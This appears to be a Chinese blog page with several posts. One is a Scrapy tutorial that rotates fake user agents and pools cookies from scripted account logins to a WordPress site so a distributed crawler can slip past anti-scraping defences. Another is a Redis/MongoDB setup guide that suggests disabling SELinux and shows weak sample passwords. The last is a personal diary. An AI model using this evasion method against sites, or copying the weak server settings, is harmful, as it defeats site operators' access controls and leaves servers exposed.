"Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
"Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre",
"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )",
"Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)",
"Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a",
"Mozilla/2.02E (Win95; U)",
"Mozilla/3.01Gold (Win95; I)",
"Mozilla/4.8 [en] (Windows NT 5.1; U)",
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)",
"HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0",
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3",
"Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1",
"Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
"Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522 (KHTML, like Gecko) Safari/419.3",
"Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
"Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
"Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
]

现在我们来重写一下 Scrapy 的下载中间件(哇靠!!重写中间件 好高端啊!!会不会好难!!!放心!!!So Easy!!跟我做!包教包会,毕竟不会你也不能顺着网线来打我啊): 关于重写中间件的详细情况 请参考 官方文档:http://scrapy-chs.readthedocs.io/zh_CN/latest/topics/downloader-middleware.html#scrapy.contrib.downloadermiddleware.DownloaderMiddleware 在项目中新建一个 middlewares.py 的文件(如果你使用的新版本的 Scrapy,在新建的时候会有这么一个文件,直接用就好了) 首先导入 UserAgentMiddleware 毕竟我们要重写它啊!

1
2
3
4
5
6
import json ##处理json的包
import redis #Python操作redis的包
import random #随机选择
from .useragent import agents #导入前面的
from scrapy.downloadermiddlewares.useragent import UserAgentMiddleware #UserAegent中间件
from scrapy.downloadermiddlewares.retry import RetryMiddleware #重试中间件

开写:

1
2
3
4
5
class UserAgentmiddleware(UserAgentMiddleware):

def process_request(self, request, spider):
agent = random.choice(agents)
request.headers["User-Agent"] = agent

第一行:定义了一个类 UserAgentmiddleware 继承自 UserAgentMiddleware 第二行:定义了函数process_request(request, spider)为什么定义这个函数,因为 Scrapy 每一个 request 通过中间 件都会调用这个方法。 QQ20170206-223156 第三行:随机选择一个 User-Agent 第四行:设置 request 的 User-Agent 为我们随机的 User-Agent ^_^Y(^o^)Y 一个中间件写完了!哈哈 是不是 So easy! 下面就需要登陆了。这次我们不用上一篇博文的 FromRequest 来实现登陆了。我们来使用 Cookie 登陆。这样的话我们需要重写 Cookie 中间件!分布式爬虫啊!你不能手动的给每个 Spider 写一个 Cookie 吧。而且你还不会知道这个 Cookie 到底有没有失效。所以我们需要维护一个 Cookie 池(这个 cookie 池用 redis)。 好!来理一理思路,维护一个 Cookie 池最基本需要具备些什么功能呢?

  1. 获取 Cookie
  2. 更新 Cookie
  3. 删除 Cookie
  4. 判断 Cookie 是否可用进行相对应的操作(比如重试)

好,我们先做前三个对 Cookie 进行操作。 首先我们在项目中新建一个 cookies.py 的文件用来写我们需要对 Cookie 进行的操作。 haoduofuli/haoduofuli/cookies.py: 首先日常导入我们需要的文件:

1
2
3
4
5
import requests
import json
import redis
import logging
from .settings import REDIS_URL ##获取settings.py中的REDIS_URL

首先我们把登陆用的账号密码 以 Key:value 的形式存入 redis 数据库。不推荐使用 db0(这是 Scrapy-redis 默认使用的,账号密码单独使用一个 db 进行存储。) QQ20170207-221128@2x 就像这个样子。 解决第一个问题:获取 Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import json
import redis
import logging
from .settings import REDIS_URL

logger = logging.getLogger(__name__)
##使用REDIS_URL链接Redis数据库, deconde_responses=True这个参数必须要,数据会变成byte形式 完全没法用
reds = redis.Redis.from_url(REDIS_URL, db=2, decode_responses=True)
login_url = 'http://haoduofuli.pw/wp-login.php'

##获取Cookie
def get_cookie(account, password):
s = requests.Session()
payload = {
'log': account,
'pwd': password,
'rememberme': "forever",
'wp-submit': "登录",
'redirect_to': "http://http://www.haoduofuli.pw/wp-admin/",
'testcookie': "1"
}
response = s.post(login_url, data=payload)
cookies = response.cookies.get_dict()
logger.warning("获取Cookie成功!(账号为:%s)" % account)
return json.dumps(cookies)

这段很好懂吧。 使用 requests 模块提交表单登陆获得 Cookie,返回一个通过 Json 序列化后的 Cookie(如果不序列化,存入 Redis 后会变成 Plain Text 格式的,后面取出来 Cookie 就没法用啦。) 第二个问题:将 Cookie 写入 Redis 数据库(分布式呀,当然得要其它其它 Spider 也能使用这个 Cookie 了)

1
2
3
4
5
6
7
def init_cookie(red, spidername):
redkeys = reds.keys()
for user in redkeys:
password = reds.get(user)
if red.get("%s:Cookies:%s--%s" % (spidername, user, password)) is None:
cookie = get_cookie(user, password)
red.set("%s:Cookies:%s--%s"% (spidername, user, password), cookie)

使用我们上面建立的 redis 链接获取 redis db2 中的所有 Key(我们设置为账号的哦!),再从 redis 中获取所有的 Value(我设成了密码哦!) 判断这个 spider 和账号的 Cookie 是否存在,不存在 则调用 get_cookie 函数传入从 redis 中获取到的账号密码的 cookie; 保存进 redis,Key 为 spider 名字和账号密码,value 为 cookie。 这儿操作 redis 的不是上面建立的那个 reds 链接哦!而是 red;后面会传进来的(因为要操作两个不同的 db,我在文档中没有看到切换 db 的方法,只好这么用了,知道的小伙伴儿留言一下)。 spidername 获取方式后面也会说的。 还有剩余的更新 Cookie 删除无法使用的账号等,大家伙可以自己试着写写(写不出来也没关系 不影响正常使用) 好啦!搞定!简直 So Easy!!!! 现在开始大业了!重写 cookie 中间件;估摸着吧!聪明的小伙儿看了上面重写 User-Agent 的方法,十之八九也知道怎么重写 Cookie 中间件了。 好啦,现在继续写 middlewares.py 啦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class CookieMiddleware(RetryMiddleware):

def __init__(self, settings, crawler):
RetryMiddleware.__init__(self, settings)
self.rconn = redis.from_url(settings['REDIS_URL'], db=1, decode_responses=True)##decode_responses设置取出的编码为str
init_cookie(self.rconn, crawler.spider.name)

@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings, crawler)

def process_request(self, request, spider):
redisKeys = self.rconn.keys()
while len(redisKeys) > 0:
elem = random.choice(redisKeys)
if spider.name + ':Cookies' in elem:
cookie = json.loads(self.rconn.get(elem))
request.cookies = cookie
request.meta["accountText"] = elem.split("Cookies:")[-1]
break

第一行:不说 第二行第三行得说一下 这玩意儿叫重载(我想了大半天都没想起来叫啥,还是问了大才。尴尬)有啥用呢: 也不扯啥子高深问题了,小伙伴儿可能发现,当你继承父类之后;子类是不能用 def init()方法的,不过重载父类之后就能用啦! 第四行:settings[‘REDIS_URL’]是个什么鬼?这是访问 scrapy 的 settings。怎么访问的?下面说 第五行:往 redis 中添加 cookie。第二个参数就是 spidername 的获取方法(其实就是字典啦!)

1
2
3
@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings, crawler)

这个貌似不好理解,作用看下面: D9DF3655-F28A-482C-8B02-C53B152958A0 这样是不是一下就知道了?? 至于访问 settings 的方法官方文档给出了详细的方法: http://scrapy-chs.readthedocs.io/zh_CN/latest/topics/settings.html#how-to-access-settings QQ20170207-233701@2x 下面就是完整的 middlewares.py 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding: utf-8 -*-

# Define here the models for your spider middleware
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/spider-middleware.html

from scrapy import signals
import json
import redis
import random
from .useragent import agents
from .cookies import init_cookie, remove_cookie, update_cookie
from scrapy.downloadermiddlewares.useragent import UserAgentMiddleware
from scrapy.downloadermiddlewares.retry import RetryMiddleware
import logging


logger = logging.getLogger(__name__)

class UserAgentmiddleware(UserAgentMiddleware):

def process_request(self, request, spider):
agent = random.choice(agents)
request.headers["User-Agent"] = agent


class CookieMiddleware(RetryMiddleware):

def __init__(self, settings, crawler):
RetryMiddleware.__init__(self, settings)
self.rconn = redis.from_url(settings['REDIS_URL'], db=1, decode_responses=True)##decode_responses设置取出的编码为str
init_cookie(self.rconn, crawler.spider.name)

@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings, crawler)

def process_request(self, request, spider):
redisKeys = self.rconn.keys()
while len(redisKeys) > 0:
elem = random.choice(redisKeys)
if spider.name + ':Cookies' in elem:
cookie = json.loads(self.rconn.get(elem))
request.cookies = cookie
request.meta["accountText"] = elem.split("Cookies:")[-1]
break
#else:
#redisKeys.remove(elem)

#def process_response(self, request, response, spider):

#"""
#下面的我删了,各位小伙伴可以尝试以下完成后面的工作

#你需要在这个位置判断cookie是否失效

#然后进行相应的操作,比如更新cookie 删除不能用的账号

#写不出也没关系,不影响程序正常使用,

#"""

存储我也不写啦!就是这么简单一个分布式的 scrapy 就这么完成啦!!! 我试了下 三台机器 两个小时 就把整个站点全部爬完了。 弄好你的存储 放在不同的机器上就可以跑啦! 完整的代码在 GitHub 上: GitHub:https://github.com/thsheep/haoduofuli Y(^o^)Y 完工 下篇博文来对付爬虫的大敌:Ajax 以后的教程用微博做靶子,那些数据比较有用,可以玩玩分析什么的。

技术杂谈

各位小伙伴 大家好啊!年假结束了··· 也该开始继续我的装逼之旅了。 年前博文的结尾说了 还有一个基于 Scrapy 的分布式版本、 今天这博文就先给大家做些前期工作,其实吧、最主要的是防止你的服务器因为这篇博文被轮········· 博文开始之前 我们先来看篇文章: http://www.youxia.org/daily-news-attack-extortion-does-not-delay-a-week-had-27000-mongodb-database.html 关于年前 MongoDB 由于默认可匿名访问 而导致了一大堆的管理员掉坑里 预估中国有十万数据库被坑。 这是继 Redis 之后又一个小白式的错误······(Redis 也是默认匿名访问) 所以在下一篇博文开始之前,先给一些新手小伙伴做一些准备工作。 因为篇幅较少 先写写 Redis 的一些安全设置: 安装 Redis: 请参考这儿;https://redis.io/download

1
2
3
4
5
6
$ wget http://download.redis.io/releases/redis-3.2.7.tar.gz
$ tar xzf redis-3.2.7.tar.gz
$ cd redis-3.2.7
$ make

$ src/redis-server

ps :如果以上有报错,可能是你的服务器没有安装依赖: CentOS7:

1
yum install -y gcc-c++ tcl

只写关于 Linux 的、Windows 的很简单,配置文件通用: 安装完成后 在目录 redis-3.2.7 中有一个 redis.conf 的配置文件,按照默认习惯我们将其复制到/etc 目录下:

1
[root@MyCloudServer ~]# cp redis-3.2.7/redis.conf /etc

PS:请使用复制(cp)而不要使用移动(mv);毕竟你要弄错了还可以再拷贝一份儿过去用不是? 使用 vim 编辑刚刚拷贝的 redis.conf

1
vim /etc/redis.conf

PS:使用 vim 需要先安装: CentOS7:

1
yum  install vim

我们需要注意以下几项: 1、注释掉 47 行的 bind 127.0.0.1(这个意思是限制为只能 127.0.0.1 也就是本机登录)PS:个人更建议 将你需要连接 Redis 数据库的 IP 地址填写在此处,而不是注释掉。这样做会比直接注释掉更加安全。 2、更改第 84 行 port 6379 为你需要的端口号(这是 Redis 的默认监听端口)PS:个人建议务必更改 3、更改第 128 行 daemonize no 为 daemonize yes(这是让 Redis 后台运行) PS:个人建议更改 4、取消第 480 # requirepass foobared 的#注释符(这是 redis 的访问密码) 并更改 foobared 为你需要的密码 比如 我需们需要密码为 123456 则改为 requirepass 123456。PS:密码不可过长否则 Python 的 redis 客户端无法连接 以上配置文件更改完毕,需要在防火墙放行:

1
firewall-cmd --zone=public --add-port=xxxx/tcp --permanent

请将 xxxx 更改为你自己的 redis 端口。 重启防火墙生效:

1
systemctl restart firewalld.service

指定配置文件启动 redis:

1
[root@MyCloudServer ~]# redis-3.2.7/src/redis-server /etc/redis.conf

加入到开机启动:

1
echo "/root/redis-3.2.6/src/redis-server /etc/redis.conf" >> /etc/rc.local

一个较为安全的 redis 配置完毕。 redis 的桌面客户端我推荐:RedisDesktopManager 去下面这个地址下载就不需要捐助啦! https://github.com/uglide/RedisDesktopManager/releases 当然还有一些其他配置、我们用不到也就不写啦! MongoDB: 这次 MongoDB 挺惨啊!由于默认匿名访问、下面给 MongoDB 配置一点安全措施: 安装 MongoDB: 以 CentOS7 为例其余发行版请参考官方文档:https://docs.mongodb.com/manual/administration/install-on-linux/ 1、建一个 yum 源:

1
[root@MyCloudServer ~]# vim /etc/yum.repos.d/mongodb-org-3.4.repo

写入以下内容:

1
2
3
4
5
6
[mongodb-org-3.4]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/3.4/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-3.4.asc

2、安装 mongoDB 以及相关工具:

1
sudo yum install -y mongodb-org

3、启动 MongoDB:

1
sudo service mongod start

PS:如果你的服务器在使用 SELinux 的话,你需要配置 SElinux 允许 MongoDB 启动,当然更简单的方法是关掉 SElinux。 关闭 SElinux:

1
[root@MyCloudServer ~]# vim /etc/selinux/config

将第 7 行设置为:SELINUX=disabled 4、停止 MongoDB:

1
sudo service mongod stop

上面安装完按成了 MongoDB 下面要步入正题了: 1、备份和更改配置文件:

1
2
[root@MyCloudServer ~]# cp /etc/mongod.conf  /etc/mongod_backup.conf
[root@MyCloudServer ~]# vim /etc/mongod.conf

更改第 28 行 prot 2701 为你需要更改的端口(这是 MongoDB 默认的监听端口) 更改第 29 行 bindIp: 127.0.0.1 为 0.0.0.0(MongoDB 默认只能本地访问)PS:个人建议此处添加你需要连接 MongoDB 服务器的 IP 地址、而不是改成 0.0.0.0。这样做会更安全 启动 MongoDB:

1
mongod --config /etc/mongod.conf

意思是:指定/etc/mongod.conf 为配置文件启动 MongoDB 好了、配置文件更改完毕,现在可以外网访问我们的 MongoDB 了!不需要用户名!匿名的!现在我们进行下一步设置。 因为 MongoDB 默认是匿名访问的、我们需要开启用户认证。 我估摸着很多哥们儿和我一样没补全 啥都不会干、所以直接在服务器上改就不太现实了,需要借助于第三方客户端。我个人推荐:mongobooster 官方地址:https://mongobooster.com/ 收费版免费版功能一样 不用在意: 首先我们需要连上 MongoDB 服务器(别忘了防火墙放行你使用的端口啊!!!) 170203 连上之后大慨是这个样子: 17020301 按下 Ctrl+T 打开 shell 界面输入一下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use admin
db.createUser(
{
user: "你的用户名",
pwd: "你的密码",
roles: [ {role:"userAdminAnyDatabase", db:"admin"} ]
/* All build-in Roles
Database User Roles: read|readWrite
数据库用户角色:读|读写
Database Admion Roles: dbAdmin|dbOwner|userAdmin
数据库管理角色:数据库管理员|数据库所有者|用户管理
Cluster Admin Roles: clusterAdmin|clusterManager|clusterMonitor|hostManager
集群管理角色:
Backup and Restoration Roles: backup|restore
All-Database Roles: readAnyDatabase|readWriteAnyDatabase|userAdminAnyDatabase|dbAdminAnyDatabase
所有数据库角色:读所有数据库|读写所有数据库|所有数据库的用户管理员|所有数据库的管理员
Superuser Roles: root */
}
)

再点击 run 运行即可 会在信息栏中提示 True 现在断开数据库连接、再打开会发现多出一个 admin 的数据库。 QQ截图20170204001502 上面的都做了些什么呢? 首先我们新建了一个 admin 的数据库(MongoDB 的原则哦、有则切换没有就创建) 然后在 admin 数据中创建了一个用户 和 密码 赋予了这个用户管理 admin 数据库 所有数据库用户的权限。 至于有那些权限 在注释中都有写哦!常用的我估摸着写了个对应意思········· OK!搞定这一部分 就可以开启 MongoDB 的用户认证了! 怎么开启呢?首先关闭正在运行的 MongoDB:

1
ps -e | grep mongod

上面的命令会找出 MongoDB 的进程号、然后运行 kill 进程号即可! 开启 MongoDB:

1
mongod --auth --config /etc/mongod.conf

意思是:以认证模式 指定/etc/mongod.conf 启动 MongoDB。 加入开机启动:

1
echo "mongod --auth --config /etc/mongod.conf" >> /etc/rc.local

好了!现在 MongoDB 也配置完成 啦! 现在如果你需要新建一个用户让其使用数据库 你该怎么做呢? 像下面这样;首先你需要连接到 admin 数据库! 在选项 Basic 中照常配置: QQ20170204-004332@2x 需要额外设置的是 Authentication 选项: QQ20170204-004627@2x 连接成功后大概是这个样子: QQ20170204-004930@2x 需要注意的一点是:这个用户只能看到所有的数据库和用户、并不能看到数据!因为我们创建的时候只给了所有数据库用户管理的权限哦! 然后打开 shell 界面按照创建 admin 的模板执行即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use 想要创建的数据库
db.createUser(
{
user: "想要使用的用户名",
pwd: "想要使用的密码",
roles: [ {role:"赋予什么样的权限", db:"创建的数据库"} ]
/* All build-in Roles
Database User Roles: read|readWrite
数据库用户角色:读|读写
Database Admion Roles: dbAdmin|dbOwner|userAdmin
数据库管理角色:数据库管理员|数据库所有者|用户管理
Cluster Admin Roles: clusterAdmin|clusterManager|clusterMonitor|hostManager
集群管理角色:
Backup and Restoration Roles: backup|restore
All-Database Roles: readAnyDatabase|readWriteAnyDatabase|userAdminAnyDatabase|dbAdminAnyDatabase
所有数据库角色:读所有数据库|读写所有数据库|所有数据库的用户管理员|所有数据库的管理员
Superuser Roles: root */
}
)

创建完成后、就可以用创建好的用户名和密码去链接有权限的数据库啦!!是不是 So Easy!!! 其实吧 还是 bindIp 安全 哈哈哈! 以上完毕!! 下一篇就是基于 Scrapy-Redis 的分布式了、真的超级简单!简单得不要不要的

个人日记

没有选择那个二零一六年尾,而是选择了这个二零一六年尾来总结。

毕竟元旦那时候真的被一堆考试烦透,说到考试,可以说我是极其反对这种形式,在我看来,因为有了考试,学一门课反倒成了任务,而不是真正踏实地去学,有了考试,学习的目的不再是单纯学习,而是为了最后的应考。所以很多科目,经验之谈,一旦它成了我的课程,我反倒没有那么多耐心去学它。而又有很多考试,理解性的东西真的不考察理解,你背过,就高分了,背不过,那就没分。做到原题了,就有分了,做不到原题,那就不一定有分。到头来,一门课程的结束伴随着你仅仅在短时间内记忆了一些概念和题目去应考。考试结束,抛掉了,你还记得什么?何况,某些课,你可能这辈子都用不到了。 然而就是这样,或许真的没有比这更合适的考察方式了吧。 果然一扯就停不下来,后面简单点扯。 嗯,就是这样,我来北航读研了,2016级的新生,刚刚渡过了研究生第一个学期。这个学期,基本上把研究生所有的课都上完。我能体会到自己还是偏重于实践性的东西而非理论,一个想法,纯理论都是空谈,实现出来才是最终目标。作为一名程序猿,平时我喜欢瞎捣腾些东西,逛GitHub,搜开源项目,找到有趣的组件来实现自己想要的功能。 二零一六年上半年,毕设的一段时间吧,由于自己对爬虫比较感兴趣,正好毕设也有个选题是关于爬虫的,所以干脆毕设就实现了一个分布式爬虫框架,虽然也是开源项目组合起来的,Scrapy,Redis,Mongo,Splash,Django等等吧,不过这个过程的探索也是受益匪浅。哦对了,也是上半年这个时候吧,换上了自己的第一台Mac,联想也终于寿终正寝了,我也算是真正踏上了程序员的行列。一年下来,不得不说,开发真的太便捷。 那时候正好是大四,也没多少事,期间也接着大大小小的外包,赚点外快,后来又入手了单反,然而到现在我发现自己没有那么狂爱摄影。 每年都有毕业季,今年轮到我们了。毕业行去了云南,还有些意犹未尽的感觉,也感谢一路同行的小伙伴给我拍的绝世美照哈哈。后来忙着毕业照啦,穿上学士服,辗转各大校区,各种奇怪的姿势拍拍拍。现在真的挺想念山大的,那里的人儿,那里的事儿。嗯,毕业快乐。 暑假,我又回到北京。一件重要的事那就是女朋友保研,虽然中间出了点小叉子,不过还是恭喜她能被中科院录取,随后在北京呆了近整个暑假。 随之而来的,便是北航研究生的新学期了。嗯,从山大到了北航。开学时我并没有那么欣喜,或许是已经过来太多次了习惯了。上学期课满满当当,然而你以为我会乖乖听课?我可不是那种学霸。我总是有着自己的学习和项目计划,学习一些我觉得有用的东西,比如Andrew Ng的机器学习、Web相关知识还有在做自己在忙的一些项目。前面说了我不喜欢上课,不喜欢考试,因为我觉得这些时间,可以去做更有意义的事情。最后几个星期突击一下就好了。其实我的大学就是这么过来的,上课都在学习别的和撸代码去了,成绩也还说得过去,不过感觉这样还是挺充实的。然而考前突击的时候是难了点儿,因为大部分我得预习。还好,这学期过去了,后面的时间我终于可以尽情做我想做的事情了,喜欢无拘无束自己探索的感觉。 期间其实还在和同学创业,演艺行业平台,自己负责技术这方面,好玩表演(hwby.com),一年来了吧,网站实现后投入运营,前期还是非常艰难,不过近期也还是有了起色,继续加油。写的过程中也抽离出了自己的一套CMS,以便后期开发应用的时候更加便捷,现在还不成熟,暂未公开。 说一件值得骄傲的事情吧,每天坚持记有道,把每天完成的事情,成功的事情,失败的事情每天做一下总结,这种感觉似乎是记录了自己路途的脚印,自己能感觉出自己走了多远,收获了多少,有一种自我激励的感觉。从14年开始记录到到今天了,希望自己能坚持下去。 哦又想到一个,之前博客上会有很多人加我,后来我想,干脆建一个交流群多好,于是乎在九月份左右,进击的Coder诞生了,三个多月的时间吧,几乎每天都有人加,刚才看了下已经788人啦,在群里跟大家探讨经验,交流技术,没事吐吐槽,扯扯淡,真的很愉快,爱你们。 然而现在还是觉得自己有时候懒癌发作之后就什么也不想干,执行力差,定了一些计划,今天拖明天,明天拖后天,最后就那么不了了之了。半年前定的学习鬼步舞呢,到现在跳的依然那么差。说好的练好腹肌呢,现在似乎没多大效果。 总结了这么多,似乎也没有多么值得骄傲的一件事,算是瞎忙了一整年吧哈哈。 新年计划: 1.写一本爬虫的书并出版,出套算不上教程的经验分享 2.完善好我的CMS,长期维护下去 3.学习数据挖掘和Web安全,向大牛进发 4.懒癌,不敢说改掉,但也能稍微缓解下吧 5.好玩表演,燥起来。 太多太多…. 觉得自己不会的还是太多,想学的也太多,好好提高自己的执行力和自制力吧,新的一年成为更好的自己。 